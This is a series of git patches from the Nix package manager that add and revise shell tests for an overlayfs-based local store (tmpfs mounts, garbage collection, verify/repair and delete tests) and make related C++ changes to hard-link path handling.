0076/1251] Explicitly exec shell to fix ENOENT errors. --- tests/overlay-local-store/common.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 5a678c947..0e98e931f 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -57,5 +57,5 @@ initLowerStore () { } execUnshare () { - exec unshare --mount --map-root-user "$@" + exec unshare --mount --map-root-user "$SHELL" "$@" } From 44f855d14ee40dfeaf52c4f01e2de124fe0f18fc Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 19 Jul 2023 15:09:58 +0100 Subject: [PATCH 0077/1251] Missing addTextToStore function. --- tests/overlay-local-store/common.sh | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 0e98e931f..2fba2e7f6 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -59,3 +59,12 @@ initLowerStore () { execUnshare () { exec unshare --mount --map-root-user "$SHELL" "$@" } + +addTextToStore() { + storeDir=$1; shift + filename=$1; shift + content=$1; shift + filePath="$TEST_HOME/$filename" + echo "$content" > "$filePath" + nix-store --store "$storeDir" --add "$filePath" +} From 7fda19e2f139a7e41cb53cdbdd692dbc98755d91 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 19 Jul 2023 16:46:51 +0100 Subject: [PATCH 0078/1251] Mount tmpfs first to ensure overlayfs works consistently. --- tests/overlay-local-store/common.sh | 19 +++++++++++-------- tests/overlay-local-store/optimise-inner.sh | 2 +- 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 2fba2e7f6..6aec96ba1 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -13,26 +13,29 @@ setupConfig () { } storeDirs () { - storeA="$TEST_ROOT/store-a" - storeBTop="$TEST_ROOT/store-b" - storeB="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$storeBTop" + storesRoot="$TEST_ROOT/stores" + mkdir -p "$storesRoot" + mount -t tmpfs tmpfs "$storesRoot" + storeA="$storesRoot/store-a" + storeBTop="$storesRoot/store-b" + storeB="local-overlay?root=$storesRoot/merged-store&lower-store=$storeA&upper-layer=$storeBTop" # Creating testing directories - mkdir -p "$TEST_ROOT"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} + mkdir -p "$storesRoot"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} } # Mounting Overlay Store mountOverlayfs () { - mergedStorePath="$TEST_ROOT/merged-store/nix/store" + mergedStorePath="$storesRoot/merged-store/nix/store" mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ -o upperdir="$storeBTop" \ - -o workdir="$TEST_ROOT/workdir" \ + -o workdir="$storesRoot/workdir" \ "$mergedStorePath" \ || skipTest "overlayfs is not supported" cleanupOverlay () { - umount "$TEST_ROOT/merged-store/nix/store" - rm -r $TEST_ROOT/workdir + umount "$storesRoot/merged-store/nix/store" + rm -r $storesRoot/workdir } trap cleanupOverlay EXIT } diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh index 2b778b311..079e22326 100755 --- a/tests/overlay-local-store/optimise-inner.sh +++ b/tests/overlay-local-store/optimise-inner.sh @@ -17,7 +17,7 @@ initLowerStore mountOverlayfs # Create a file to add to store -dupFilePath="$TEST_ROOT/dup-file" +dupFilePath="$storesRoot/dup-file" echo Duplicate > "$dupFilePath" # Add it to the overlay store (it will be written to the upper layer) From 9769a0ae7d840f1df7db3de4524180016830e57e Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 20 Jul 2023 10:27:11 +0100 Subject: [PATCH 0079/1251] Ensure all overlay tests use new tmpfs store paths. --- tests/overlay-local-store/add-lower-inner.sh | 8 +++--- tests/overlay-local-store/bad-uris.sh | 4 +-- .../check-post-init-inner.sh | 2 +- tests/overlay-local-store/common.sh | 28 +++++++++++-------- tests/overlay-local-store/optimise-inner.sh | 2 +- 5 files changed, 25 insertions(+), 19 deletions(-) diff --git a/tests/overlay-local-store/add-lower-inner.sh b/tests/overlay-local-store/add-lower-inner.sh index 40a1f397c..8c71f0780 100755 --- a/tests/overlay-local-store/add-lower-inner.sh +++ b/tests/overlay-local-store/add-lower-inner.sh @@ -18,14 +18,14 @@ mountOverlayfs # Add something to the overlay store overlayPath=$(addTextToStore "$storeB" "overlay-file" "Add to overlay store") -stat "$TEST_ROOT/merged-store/$overlayPath" +stat "$storeVolume/merged-store/$overlayPath" # Now add something to the lower store lowerPath=$(addTextToStore "$storeA" "lower-file" "Add to lower store") -stat "$TEST_ROOT/store-a/$lowerPath" +stat "$storeVolume/store-a/$lowerPath" # Remount overlayfs to ensure synchronization -mount -o remount "$TEST_ROOT/merged-store/nix/store" +mount -o remount "$storeVolume/merged-store/nix/store" # Path should be accessible via overlay store -stat "$TEST_ROOT/merged-store/$lowerPath" +stat "$storeVolume/merged-store/$lowerPath" diff --git a/tests/overlay-local-store/bad-uris.sh b/tests/overlay-local-store/bad-uris.sh index d4261bd97..c59264735 100644 --- a/tests/overlay-local-store/bad-uris.sh +++ b/tests/overlay-local-store/bad-uris.sh @@ -7,8 +7,8 @@ storeDirs mkdir -p $TEST_ROOT/bad_test badTestRoot=$TEST_ROOT/bad_test storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" -storeBadLower="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" -storeBadUpper="local-overlay?root=$TEST_ROOT/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" +storeBadLower="local-overlay?root=$storeVolume/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay?root=$storeVolume/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" declare -a storesBad=( "$storeBadRoot" "$storeBadLower" "$storeBadUpper" diff --git a/tests/overlay-local-store/check-post-init-inner.sh b/tests/overlay-local-store/check-post-init-inner.sh index 37ed8c113..c7d1c70d4 100755 --- a/tests/overlay-local-store/check-post-init-inner.sh +++ b/tests/overlay-local-store/check-post-init-inner.sh @@ -25,7 +25,7 @@ stat $(toRealPath "$storeA/nix/store" "$path") expect 1 stat $(toRealPath "$storeBTop" "$path") # Checking for path in overlay store matching lower layer -diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$TEST_ROOT/merged-store/nix/store" "$path") +diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$storeVolume/merged-store/nix/store" "$path") # Checking requisites query agreement [[ \ diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 6aec96ba1..686523e9c 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -12,30 +12,36 @@ setupConfig () { echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf } + + storeDirs () { - storesRoot="$TEST_ROOT/stores" - mkdir -p "$storesRoot" - mount -t tmpfs tmpfs "$storesRoot" - storeA="$storesRoot/store-a" - storeBTop="$storesRoot/store-b" - storeB="local-overlay?root=$storesRoot/merged-store&lower-store=$storeA&upper-layer=$storeBTop" + # Attempt to create store dirs on tmpfs volume. + # This ensures lowerdir, upperdir and workdir will be on + # a consistent filesystem that fully supports OverlayFS. + storeVolume="$TEST_ROOT/stores" + mkdir -p "$storeVolume" + mount -t tmpfs tmpfs "$storeVolume" || true # But continue anyway if that fails. + + storeA="$storeVolume/store-a" + storeBTop="$storeVolume/store-b" + storeB="local-overlay?root=$storeVolume/merged-store&lower-store=$storeA&upper-layer=$storeBTop" # Creating testing directories - mkdir -p "$storesRoot"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} + mkdir -p "$storeVolume"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} } # Mounting Overlay Store mountOverlayfs () { - mergedStorePath="$storesRoot/merged-store/nix/store" + mergedStorePath="$storeVolume/merged-store/nix/store" mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ -o upperdir="$storeBTop" \ - -o workdir="$storesRoot/workdir" \ + -o workdir="$storeVolume/workdir" \ "$mergedStorePath" \ || skipTest "overlayfs is not supported" cleanupOverlay () { - umount "$storesRoot/merged-store/nix/store" - rm -r $storesRoot/workdir + umount "$storeVolume/merged-store/nix/store" + rm -r $storeVolume/workdir } trap cleanupOverlay EXIT } diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh index 079e22326..2b778b311 100755 --- a/tests/overlay-local-store/optimise-inner.sh +++ b/tests/overlay-local-store/optimise-inner.sh @@ -17,7 +17,7 @@ initLowerStore mountOverlayfs # Create a file to add to store -dupFilePath="$storesRoot/dup-file" +dupFilePath="$TEST_ROOT/dup-file" echo Duplicate > "$dupFilePath" # Add it to the overlay store (it will be written to the upper layer) From 878c84d5ee88f2e6c56abb42211a729c4d342e14 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 20 Jul 2023 10:27:35 +0100 Subject: [PATCH 0080/1251] Fix errors about NIX_STORE_DIR being unset. --- tests/overlay-local-store/check-post-init-inner.sh | 2 +- tests/overlay-local-store/common.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/overlay-local-store/check-post-init-inner.sh b/tests/overlay-local-store/check-post-init-inner.sh index c7d1c70d4..2e7db2adc 100755 --- a/tests/overlay-local-store/check-post-init-inner.sh +++ b/tests/overlay-local-store/check-post-init-inner.sh @@ -62,7 +62,7 @@ nix-store --verify-path --store "$storeA" "$path" # Verifying path in merged-store nix-store --verify-path --store "$storeB" "$path" -hashPart=$(echo $path | sed "s^$NIX_STORE_DIR/^^" | sed 's/-.*//') +hashPart=$(echo $path | sed "s^${NIX_STORE_DIR:-/nix/store}/^^" | sed 's/-.*//') # Lower store can find from hash part [[ $(nix store --store $storeA path-from-hash-part $hashPart) == $path ]] diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 686523e9c..ac4a59cd8 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -53,7 +53,7 @@ remountOverlayfs () { toRealPath () { storeDir=$1; shift storePath=$1; shift - echo $storeDir$(echo $storePath | sed "s^$NIX_STORE_DIR^^") + echo $storeDir$(echo $storePath | sed "s^${NIX_STORE_DIR:-/nix/store}^^") } initLowerStore () { From 2c66a093e05bc466d00c9365bc43567fd9d5c334 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 20 Jul 2023 11:03:14 +0100 Subject: [PATCH 0081/1251] Define storeBRoot variable distinct from storeB URI. --- tests/overlay-local-store/add-lower-inner.sh | 6 +++--- tests/overlay-local-store/bad-uris.sh | 4 ++-- tests/overlay-local-store/check-post-init-inner.sh | 2 +- tests/overlay-local-store/common.sh | 10 +++++----- tests/overlay-local-store/redundant-add-inner.sh | 5 ++--- 5 files changed, 13 insertions(+), 14 deletions(-) diff --git a/tests/overlay-local-store/add-lower-inner.sh b/tests/overlay-local-store/add-lower-inner.sh index 8c71f0780..ca7db7ab6 100755 --- a/tests/overlay-local-store/add-lower-inner.sh +++ b/tests/overlay-local-store/add-lower-inner.sh @@ -18,14 +18,14 @@ mountOverlayfs # Add something to the overlay store overlayPath=$(addTextToStore "$storeB" "overlay-file" "Add to overlay store") -stat "$storeVolume/merged-store/$overlayPath" +stat "$storeBRoot/$overlayPath" # Now add something to the lower store lowerPath=$(addTextToStore "$storeA" "lower-file" "Add to lower store") stat "$storeVolume/store-a/$lowerPath" # Remount overlayfs to ensure synchronization -mount -o remount "$storeVolume/merged-store/nix/store" +remountOverlayfs # Path should be accessible via overlay store -stat "$storeVolume/merged-store/$lowerPath" +stat "$storeBRoot/$lowerPath" diff --git a/tests/overlay-local-store/bad-uris.sh b/tests/overlay-local-store/bad-uris.sh index c59264735..462bf27eb 100644 --- a/tests/overlay-local-store/bad-uris.sh +++ b/tests/overlay-local-store/bad-uris.sh @@ -7,8 +7,8 @@ storeDirs mkdir -p $TEST_ROOT/bad_test badTestRoot=$TEST_ROOT/bad_test storeBadRoot="local-overlay?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" -storeBadLower="local-overlay?root=$storeVolume/merged-store&lower-store=$badTestRoot&upper-layer=$storeBTop" -storeBadUpper="local-overlay?root=$storeVolume/merged-store&lower-store=$storeA&upper-layer=$badTestRoot" +storeBadLower="local-overlay?root=$storeBRoot&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay?root=$storeBRoot&lower-store=$storeA&upper-layer=$badTestRoot" declare -a storesBad=( "$storeBadRoot" "$storeBadLower" "$storeBadUpper" diff --git a/tests/overlay-local-store/check-post-init-inner.sh b/tests/overlay-local-store/check-post-init-inner.sh index 2e7db2adc..0f4654cc2 100755 --- a/tests/overlay-local-store/check-post-init-inner.sh +++ b/tests/overlay-local-store/check-post-init-inner.sh @@ -25,7 +25,7 @@ stat $(toRealPath "$storeA/nix/store" "$path") expect 1 stat $(toRealPath "$storeBTop" "$path") # Checking for path in overlay store matching lower layer -diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$storeVolume/merged-store/nix/store" "$path") +diff $(toRealPath "$storeA/nix/store" "$path") $(toRealPath "$storeBRoot/nix/store" "$path") # Checking requisites query agreement [[ \ diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index ac4a59cd8..2b23352ab 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -24,30 +24,30 @@ storeDirs () { storeA="$storeVolume/store-a" storeBTop="$storeVolume/store-b" - storeB="local-overlay?root=$storeVolume/merged-store&lower-store=$storeA&upper-layer=$storeBTop" + storeBRoot="$storeVolume/merged-store" + storeB="local-overlay?root=$storeBRoot&lower-store=$storeA&upper-layer=$storeBTop" # Creating testing directories mkdir -p "$storeVolume"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} } # Mounting Overlay Store mountOverlayfs () { - mergedStorePath="$storeVolume/merged-store/nix/store" mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ -o upperdir="$storeBTop" \ -o workdir="$storeVolume/workdir" \ - "$mergedStorePath" \ + "$storeBRoot/nix/store" \ || skipTest "overlayfs is not supported" cleanupOverlay () { - umount "$storeVolume/merged-store/nix/store" + umount "$storeBRoot/nix/store" rm -r $storeVolume/workdir } trap cleanupOverlay EXIT } remountOverlayfs () { - mount -o remount "$mergedStorePath" + mount -o remount "$storeBRoot/nix/store" } toRealPath () { diff --git a/tests/overlay-local-store/redundant-add-inner.sh b/tests/overlay-local-store/redundant-add-inner.sh index cfdae68b4..34b841e38 100755 --- a/tests/overlay-local-store/redundant-add-inner.sh +++ b/tests/overlay-local-store/redundant-add-inner.sh @@ -7,7 +7,7 @@ set -x source common.sh # Avoid store dir being inside sandbox build-dir -unset NIX_STORE_DIR # TODO: This causes toRealPath to fail (it expects this var to be set) +unset NIX_STORE_DIR unset NIX_STATE_DIR storeDirs @@ -27,5 +27,4 @@ path=$(nix-store --store "$storeB" --add ../dummy) stat $(toRealPath "$storeA/nix/store" "$path") # upper layer should still not have it (no redundant copy) -expect 1 stat $(toRealPath "$storeB/nix/store" "$path") # TODO: Check this is failing for the right reason. - # $storeB is a store URI not a directory path +expect 1 stat $(toRealPath "$storeBTop" "$path") From 2fc00ec19f8eb7ec2285135a180763d632102762 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 20 Jul 2023 11:27:28 +0100 Subject: [PATCH 0082/1251] Fix unbound variable error in optimise test. --- tests/overlay-local-store/optimise-inner.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh index 2b778b311..b7994054c 100755 --- a/tests/overlay-local-store/optimise-inner.sh +++ b/tests/overlay-local-store/optimise-inner.sh @@ -32,7 +32,7 @@ remountOverlayfs dupFilename="${dupFileStorePath#/nix/store}" lowerPath="$storeA/$dupFileStorePath" upperPath="$storeBTop/$dupFilename" -overlayPath="$mergedStorePath/$dupFilename" +overlayPath="$storeBRoot/nix/store/$dupFilename" # Check store path exists in both layers and overlay lowerInode=$(stat -c %i "$lowerPath") From 0e595a52a32003ed448b1da9319a639059f993a6 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jul 2023 15:39:59 -0400 Subject: [PATCH 0083/1251] Remove trailing whitespace --- src/libstore/local-overlay-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 9e530ed9b..aced582ca 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -87,7 +87,7 @@ void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, - Callback> callback) noexcept + Callback> callback) noexcept { auto callbackPtr = std::make_shared(std::move(callback)); From 3731208dc120b5d12f1c5c63ec58bcdb34c42195 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jul 2023 16:54:14 -0400 Subject: [PATCH 0084/1251] Adopt GC test for local-overlay store Doesn't yet pass. Fixes are needed. --- tests/overlay-local-store/gc-inner.sh | 57 +++++++++++++++++++++++++++ tests/overlay-local-store/gc.sh | 5 +++ tests/overlay-local-store/local.mk | 1 + 3 files changed, 63 insertions(+) create mode 100644 tests/overlay-local-store/gc-inner.sh create mode 100755 tests/overlay-local-store/gc.sh diff --git a/tests/overlay-local-store/gc-inner.sh b/tests/overlay-local-store/gc-inner.sh new file mode 100644 index 000000000..01ec48b84 --- /dev/null +++ b/tests/overlay-local-store/gc-inner.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +export NIX_REMOTE="$storeB" +stateB="$storeBRoot/nix/var/nix" +outPath=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2) + +# Set a GC root. +mkdir -p "$stateB" +rm -f "$stateB"/gcroots/foo +ln -sf $outPath "$stateB"/gcroots/foo + +[ "$(nix-store -q --roots $outPath)" = "$stateB/gcroots/foo -> $outPath" ] + +nix-store --gc --print-roots | grep $outPath +nix-store --gc --print-live | grep $outPath +if nix-store --gc --print-dead | grep -E $outPath$; then false; fi + +nix-store --gc --print-dead + +expect 1 nix-store --delete $outPath +test -e "$storeBRoot/$outPath" + +shopt -s nullglob +for i in $storeBRoot/*; do + if [[ $i =~ /trash ]]; then continue; fi # compat with old daemon + touch $i.lock + touch $i.chroot +done + +nix-collect-garbage + +# Check that the root and its dependencies haven't been deleted. +cat "$storeBRoot/$outPath" + +rm "$stateB"/gcroots/foo + +nix-collect-garbage + +# Check that the output has been GC'd. +test ! -e $outPath + +# Check that the store is empty. +[ "$(ls -1 "$storeBTop" | wc -l)" = "0" ] diff --git a/tests/overlay-local-store/gc.sh b/tests/overlay-local-store/gc.sh new file mode 100755 index 000000000..1e1fb203e --- /dev/null +++ b/tests/overlay-local-store/gc.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./gc-inner.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 3a6d00bc1..1f8de8f27 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -4,6 +4,7 @@ overlay-local-store-tests := \ $(d)/build.sh \ $(d)/bad-uris.sh \ $(d)/add-lower.sh \ + $(d)/gc.sh \ $(d)/verify.sh \ $(d)/optimise.sh From 497464f4945200522f05a318720ad0a158095e8e Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 25 Jul 2023 13:30:21 +0100 Subject: [PATCH 0085/1251] Extend verify test to check that repair is supported. --- src/libstore/local-overlay-store.cc | 7 ----- src/libstore/local-overlay-store.hh | 2 -- tests/overlay-local-store/common.sh | 8 +++-- tests/overlay-local-store/verify-inner.sh | 36 +++++++++++++++++++---- 4 files changed, 37 insertions(+), 16 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 9e530ed9b..c8464f64d 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -209,13 +209,6 @@ void LocalOverlayStore::optimiseStore() } } -bool LocalOverlayStore::verifyStore(bool checkContents, RepairFlag repair) -{ - if (repair) - warn("local-overlay: store does not support --verify --repair"); - return LocalStore::verifyStore(checkContents, NoRepair); -} - static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index ef377b7a6..349d9e6ed 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -114,8 +114,6 @@ private: void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; void optimiseStore() override; - - bool verifyStore(bool checkContents, RepairFlag repair) override; }; } diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 2b23352ab..6bb5bc391 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -7,9 +7,13 @@ requireEnvironment () { needLocalStore "The test uses --store always so we would just be bypassing the daemon" } +addConfig () { + echo "$1" >> "$NIX_CONF_DIR/nix.conf" +} + setupConfig () { - echo "require-drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf - echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf + addConfig "require-drop-supplementary-groups = false" + addConfig "build-users-group = " } diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/overlay-local-store/verify-inner.sh index 8f8839302..de40c3d05 100755 --- a/tests/overlay-local-store/verify-inner.sh +++ b/tests/overlay-local-store/verify-inner.sh @@ -16,25 +16,51 @@ initLowerStore mountOverlayfs + +## Initialise stores for test + # Realise a derivation from the lower store to propagate paths to overlay DB nix-store --store "$storeB" --realise $drvPath # Also ensure dummy file exists in overlay DB dummyPath=$(nix-store --store "$storeB" --add ../dummy) +# Add something to the lower store that will not be propagated to overlay DB +lowerOnlyPath=$(addTextToStore "$storeA" lower-only "Only in lower store") + # Verify should be successful at this point nix-store --store "$storeB" --verify --check-contents -# Now delete one of the derivation inputs in the lower store +# Make a backup so we can repair later +backupStore="$storeVolume/backup" +mkdir "$backupStore" +tar -cC "$storeBRoot" nix | tar -xC "$backupStore" + + +## Deliberately corrupt store paths + +# Delete one of the derivation inputs in the lower store inputDrvFullPath=$(find "$storeA" -name "*-hermetic-input-1.drv") inputDrvPath=${inputDrvFullPath/*\/nix\/store\///nix/store/} rm -v "$inputDrvFullPath" -# And truncate the contents of dummy file in lower store +# Truncate the contents of dummy file in lower store find "$storeA" -name "*-dummy" -exec truncate -s 0 {} \; -# Verify should fail with the messages about missing input and modified dummy file -verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents --repair) +# Also truncate the file that only exists in lower store +truncate -s 0 "$storeA/$lowerOnlyPath" + + +## Now test that verify and repair work as expected + +# Verify overlay store without attempting to repair it +verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents) <<<"$verifyOutput" grepQuiet "path '$inputDrvPath' disappeared, but it still has valid referrers!" <<<"$verifyOutput" grepQuiet "path '$dummyPath' was modified! expected hash" -<<<"$verifyOutput" grepQuiet "store does not support --verify --repair" +<<<"$verifyOutput" expectStderr 1 grepQuiet "$lowerOnlyPath" # Expect no error for corrupted lower-only path + +# Attempt to repair using backup +addConfig "substituters = $backupStore" +repairOutput=$(nix-store --store "$storeB" --verify --check-contents --repair 2>&1) +<<<"$repairOutput" grepQuiet "copying path '$inputDrvPath'" +<<<"$repairOutput" grepQuiet "copying path '$dummyPath'" From 9ef0a9e8aa2e27991434c104ad73b1b95b241f08 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 25 Jul 2023 10:28:11 -0400 Subject: [PATCH 0086/1251] Fix hard linking issue causing overlay fs copy-ups --- src/libstore/build/local-derivation-goal.cc | 7 ++++--- src/libstore/local-fs-store.hh | 10 ++++++++++ src/libstore/local-overlay-store.cc | 7 +++++++ src/libstore/local-overlay-store.hh | 2 ++ 4 files changed, 23 insertions(+), 3 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index b7a27490c..3bc88ee86 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -386,8 +386,9 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() #if __linux__ -static void linkOrCopy(const Path & from, const Path & to) +static void linkOrCopy(LocalFSStore & store, const StorePath & from_, const Path & to) { + auto from = store.toRealPathForHardLink(from_); if (link(from.c_str(), to.c_str()) == -1) { /* Hard-linking fails if we exceed the maximum link count on a file (e.g. 32000 of ext3), which is quite possible after a @@ -712,7 +713,7 @@ void LocalDerivationGoal::startBuilder() if (S_ISDIR(lstat(r).st_mode)) dirsInChroot.insert_or_assign(p, r); else - linkOrCopy(r, chrootRootDir + p); + linkOrCopy(getLocalStore(), i, chrootRootDir + p); } /* If we're repairing, checking or rebuilding part of a @@ -1574,7 +1575,7 @@ void LocalDerivationGoal::addDependency(const StorePath & path) throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); } else - linkOrCopy(source, target); + linkOrCopy(getLocalStore(), path, target); #else throw Error("don't know how to make path '%s' (produced by a recursive Nix call) appear in the sandbox", diff --git a/src/libstore/local-fs-store.hh b/src/libstore/local-fs-store.hh index 488109501..19858f5c8 100644 --- a/src/libstore/local-fs-store.hh +++ b/src/libstore/local-fs-store.hh @@ -73,6 +73,16 @@ public: return getRealStoreDir() + "/" + std::string(storePath, storeDir.size() + 1); } + /** + * If the real path is hardlinked with something else, we might + * prefer to refer to the other path instead. This is the case with + * overlayfs, for example. + */ + virtual Path toRealPathForHardLink(const StorePath & storePath) + { + return Store::toRealPath(storePath); + } + std::optional getBuildLogExact(const StorePath & path) override; }; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 700a5227b..47d09dc75 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -209,6 +209,13 @@ void LocalOverlayStore::optimiseStore() } } +Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) +{ + return lowerStore->isValidPath(path) + ? lowerStore->Store::toRealPath(path) + : Store::toRealPath(path); +} + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 349d9e6ed..64e2ef488 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -114,6 +114,8 @@ private: void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; void optimiseStore() override; + + Path toRealPathForHardLink(const StorePath & storePath) override; }; } From 19c43c5d787c113053ef651c3d22fdfde61075e2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 25 Jul 2023 11:44:39 -0400 Subject: [PATCH 0087/1251] Write test for deleting objects referenced from below Currently fails, as expected. --- tests/hermetic.nix | 4 +-- tests/overlay-local-store/delete-inner.sh | 39 +++++++++++++++++++++++ tests/overlay-local-store/delete.sh | 5 +++ tests/overlay-local-store/local.mk | 1 + 4 files changed, 47 insertions(+), 2 deletions(-) create mode 100644 tests/overlay-local-store/delete-inner.sh create mode 100755 tests/overlay-local-store/delete.sh diff --git a/tests/hermetic.nix b/tests/hermetic.nix index 4c9d7a51f..c4fbbfa14 100644 --- a/tests/hermetic.nix +++ b/tests/hermetic.nix @@ -37,7 +37,7 @@ let buildCommand = '' echo hi-input3 read x < ${input2} - echo $x BAZ > $out + echo ${input2} $x BAZ > $out ''; }; @@ -51,6 +51,6 @@ in '' read x < ${input1} read y < ${input3} - echo "$x $y" > $out + echo ${input1} ${input3} "$x $y" > $out ''; } diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-inner.sh new file mode 100644 index 000000000..0702d1693 --- /dev/null +++ b/tests/overlay-local-store/delete-inner.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +export NIX_REMOTE="$storeB" +stateB="$storeBRoot/nix/var/nix" +hermetic=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2) +input1=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input1 -j0) +input2=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input2 -j0) +input3=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2 -A passthru.input3 -j0) + +# Can't delete because referenced +expectStderr 1 nix-store --delete $input1 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --delete $input2 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --delete $input3 | grepQuiet "Cannot delete path" + +# These same paths are referenced in the lower layer (by the seed 1 +# build done in `initLowerStore`). +expectStderr 1 nix-store --store "$storeA" --delete $input2 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --store "$storeA" --delete $input3 | grepQuiet "Cannot delete path" + +# Can delete +nix-store --delete $hermetic + +# Now unreferenced in upper layer, can delete +nix-store --delete $input3 +nix-store --delete $input2 